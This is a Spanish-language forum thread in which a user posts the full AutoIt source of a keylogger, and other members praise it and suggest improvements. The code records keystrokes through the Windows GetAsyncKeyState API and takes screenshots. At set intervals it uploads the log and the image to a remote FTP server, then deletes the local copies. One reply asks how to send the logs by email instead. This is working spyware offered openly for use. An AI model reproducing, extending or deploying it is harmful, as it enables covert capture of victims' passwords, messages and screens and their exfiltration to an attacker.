Página 1 de 1

Función Keylogger

Publicado: 08 Feb 2014, 22:38
por Naker90
Buenas aquí dejo una función que captura las pulsaciones de teclado mediante las APIs GetAsyncKeyState y GetKeyState, también hace una captura de pantalla y lo envía todo a través de FTP.
#cs ----------------------------------------------------------------------------

 AutoIt Version: 3.3.8.1
 Author: Naker90

 Script Function:
	Captura de pulsaciones de teclado por la API GetAsyncKeyState (Mayusculas, minusculas y numeros), captura de pantalla y envio del Log a travez de FTP (File Transfer Protocol)

 Parametros:
	$sMinute_Delay => Tiempo de espera entre envio de Logs
	    $sServerIP => IP del servidor FTP
			$sPort => Puerto del Servidor FTP
		$sUsername => Nombre de usuario del servidor FTP
		$sPassword => Contraseña del usuario del servidor FTP

Ejemplo de uso:
	Keylogger_Function(10,'XXX.XXX.XXX.XXX', 21, 'Naker90', '123')

#ce ----------------------------------------------------------------------------

#include <FTPEx.au3>
#include <ScreenCapture.au3>

Func Keylogger_Function($sMinute_Delay, $sServerIP, $sPort, $sUsername, $sPassword)

	Local $sTimeInit = TimerInit()
	Local $sDelay = $sMinute_Delay * 60000
	Local $sAlphabet[48] = ['0x30', '0x31', '0x32', '0x33', '0x34', '0x35', '0x36', '0x37', '0x38', '0x39', '0x41', '0x42', '0x43', '0x44', '0x45', '0x46', '0x47', '0x48', _
			'0x49', '0x4A', '0x4B', '0x4C', '0x4D', '0x4E', '0x4F', '0x50', '0x51', '0x52', '0x53', '0x54', '0x55', '0x56', '0x57', '0x58', '0x59', '0x60', '0x20', '0x2E']

	While 1
		Local $sInput
		For $si = 0 To 47

			Local $sShift = DllCall('User32.dll', 'int', 'GetKeyState', 'long', 0x10)
			Local $sBlockMayus = DllCall('User32.dll', 'int', 'GetKeyState', 'long', 0x14)
			Local $sGetAsyncKeyState = DllCall('User32.dll', 'int', 'GetAsyncKeyState', 'int', $sAlphabet[$si])

			If $sGetAsyncKeyState[0] = -32767 Then
				If $sShift[0] <> 0 And 1 Or $sBlockMayus[0] <> 0 And 1 Then
					$sInput = $sInput & ChrW($sAlphabet[$si])
				Else
					$sInput = $sInput & StringLower(ChrW($sAlphabet[$si]))
				EndIf
			EndIf

		Next

		If TimerDiff($sTimeInit) >= $sDelay Then

			Local $sLog = FileOpen(@TempDir & '\Log.txt', 1)
			FileWrite($sLog, $sInput)
			FileClose($sLog)

			Local $sScreenShot = _ScreenCapture_Capture(@TempDir & '\Image.jpg')

			File_Transfer_Protocol($sServerIP, $sPort, $sUsername, $sPassword)

			FileDelete(@TempDir & '\Log.txt')
			FileDelete(@TempDir & '\Image.jpg')

			$sInput = ''

			$sTimeInit = TimerInit()
		EndIf

	WEnd

EndFunc

Func File_Transfer_Protocol($ServerIP, $Port, $Username, $Password)

	Local $Directory =  '\' & @MDAY & '-' & @MON & '-' & @YEAR & '_' & @HOUR & '-' & @MIN

	Local $Open = _FTP_Open('MyFTP Control')
	Local $Connect = _FTP_Connect($Open, $ServerIP, $Username, $Password, 0, $Port)
	_FTP_DirCreate($Connect, $Directory)
	_FTP_FilePut($Connect, @TempDir & '\Log.txt', $Directory & '\Log.txt')
	_FTP_FilePut($Connect, @TempDir & '\Image.jpg', $Directory & '\Image.jpg')
	_FTP_Close($Connect)

EndFunc
Saludos

Re: Función Keylogger

Publicado: 09 Feb 2014, 02:36
por Pink
Me gusta luego la miro bien. por ahora te recomiendo que no declares variables dentro de Loops.

Saludos Sigue así

Re: Función Keylogger

Publicado: 09 Feb 2014, 14:11
por Naker90
Gracias por las recomendaciones Pink, me vienen de puta madre.
Saludos bro

Re: Función Keylogger

Publicado: 09 Feb 2014, 14:35
por strup
Muy limpio el code y entendible de hecho lo lei con mucha claridad gracias por compartir maquina

Re: Función Keylogger

Publicado: 26 Ago 2014, 16:33
por comand
Gracias Naker90! sin duda muy útil y fácil de entender execelente estudio y ver si puedo hacer una para enviar por correo electrónico el registro, si alguien con conocimientos en autoit podría dar un ejemplo de cómo enviar correo electrónico y también si hay sería completa esta fuente. Gracias Naker90 siempre me ha ayudado.

Re: Función Keylogger

Publicado: 06 Sep 2014, 05:24
por mcr_bkn
AMigo Naker90 muy bueno el codigo, lo estuve revisando y esta muy bueno aunque se puede mejorar un poco mas, ya que no te detecta los espacios ni los enter, osea esta todo junto. pero muy bueno para entenderlo me sirvió de mucho. Yo recién estoy aprendiendo con este lenguaje y espero seguir aprendiendo con tus codes.


Saludos!!!

Re: Función Keylogger

Publicado: 06 Sep 2014, 07:02
por MagicHack3r
Buen aporte men.... excelente